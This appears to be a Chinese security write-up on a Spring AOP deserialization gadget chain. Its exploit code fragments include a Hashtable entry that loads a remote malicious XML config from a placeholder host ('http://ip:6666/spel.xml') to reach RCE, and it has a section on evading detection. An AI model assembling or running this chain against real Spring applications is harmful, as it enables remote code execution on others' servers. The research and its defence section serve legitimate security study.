SpringAOP链有参调用分析
字数 1424 2025-09-23 19:27:46
Spring AOP 反序列化有参调用利用链分析
一、背景概述
Spring AOP链是反序列化漏洞利用的重要技术,传统无参调用链存在局限性。本文分析通过有参方法调用的技术方案,重点解决Hashtable.equals触发Map.get时的参数控制问题,实现更灵活的利用方式。
二、核心技术原理
2.1 有参调用优势
- 参数控制:有参方法调用允许控制传入参数,扩展利用场景
- 返回值可控:通过
Map.get方法实现返回值控制 - 规避限制:绕过无参调用的各种限制条件
2.2 关键触发点
// 通过hashtable.equals触发map.get
Hashtable t = new Hashtable();
t.put("http://ip:6666/spel.xml", "\u1224\u0013\u0005\u000b");
HashMap map = new HashMap();
map.put("aaa", "test");
map.put(t, "test");
2.3 Sink点选择
选择AnnotatedConstructor.call1方法作为最终执行点,该方法的特性:
- 只需要一个参数即可触发
- 可调用构造函数
- 适合用于触发
ClassPathXmlApplicationContext实现RCE
三、利用链构建详解
3.1 初始方案与问题
初始尝试基于无参调用POC修改,但遇到关键问题:
问题1:提前触发
// 在调用t.get方法前会先调用t.size方法
// 导致提前触发invoke,利用链断裂
问题2:方法不匹配
- 设置的target为
AnnotatedConstructor类 - 该类没有
size方法,导致直接报错
3.2 解决方案:RegexpMethodPointcutAdvisor
3.2.1 正则匹配控制
RegexpMethodPointcutAdvisor re = new RegexpMethodPointcutAdvisor(aspectJAroundAdvice);
re.setPattern(".*get");
通过设置正则模式.*get,只对匹配的方法添加拦截器到调用链中,避免size方法触发拦截。
3.2.2 多层代理设计
采用target设置为Hashtable的二次代理方案:
优势:
- 避免hash碰撞问题
- 自动触发
hashCode方法 - 简化利用链构造
3.3 关键配置项
3.3.1 ReturningName设置
必须设置setReturningName方法配置ReturningName属性为方法参数名:
// 这是确保有参调用成功的关键配置
setReturningName("参数名");
3.3.2 代理对象构造
// 使用Unsafe分配对象内存,避免构造函数调用
public static <T> T createObjWithoutConstructor(Class<T> clazz) {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
return (T) unsafe.allocateInstance(clazz);
}
3.3.3 AOP代理配置
// 配置AOP代理
Class clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor constructor0 = clazz0.getDeclaredConstructor(AdvisedSupport.class);
constructor0.setAccessible(true);
DefaultIntroductionAdvisor decorator = new DefaultIntroductionAdvisor(aspectJAroundAdvice);
AdvisedSupport advisedSupport1 = new AdvisedSupport();
advisedSupport1.setTarget(an); // 设置目标对象
advisedSupport1.addAdvisor(decorator);
AopProxy proxy = (AopProxy) getProxy(constructor0, advisedSupport1, new Class[]{AopProxy.class, Map.class});
四、完整利用链流程
- 序列化触发:通过HashMap反序列化触发利用链
- Hashtable比较:触发equals方法调用
- Map.get调用:通过代理机制控制参数和返回值
- AOP拦截:RegexpMethodPointcutAdvisor过滤方法调用
- 方法执行:最终触发AnnotatedConstructor.call1方法
- RCE实现:通过ClassPathXmlApplicationContext加载恶意配置
五、技术优势与应用
5.1 有参调用的价值
- 文件操作:支持写文件等需要参数的操作
- 不出网利用:在限制网络的环境下仍可实现利用
- 灵活性强:参数可控大大扩展了利用场景
5.2 规避检测
- 通过正则表达式控制方法拦截,减少异常行为
- 多层代理设计增加分析难度
- 利用Spring原生机制,特征不明显
六、防御建议
- 反序列化过滤:对反序列化操作进行严格管控
- AOP配置检查:检查不必要的AOP配置暴露
- 依赖库管理:及时更新Spring框架版本
- 输入验证:对所有输入数据进行严格验证
- 安全审计:定期进行代码安全审计和漏洞扫描
七、总结
Spring AOP有参调用利用链通过精细的方法拦截控制和参数管理,实现了更灵活的反序列化漏洞利用方式。该技术方案解决了无参调用的局限性,特别适合需要参数控制的利用场景,如文件操作、不出网利用等。防御方面需要从反序列化管控、配置安全等多个层面进行防护。
注:本文仅用于安全研究和技术防御目的,严禁用于非法用途。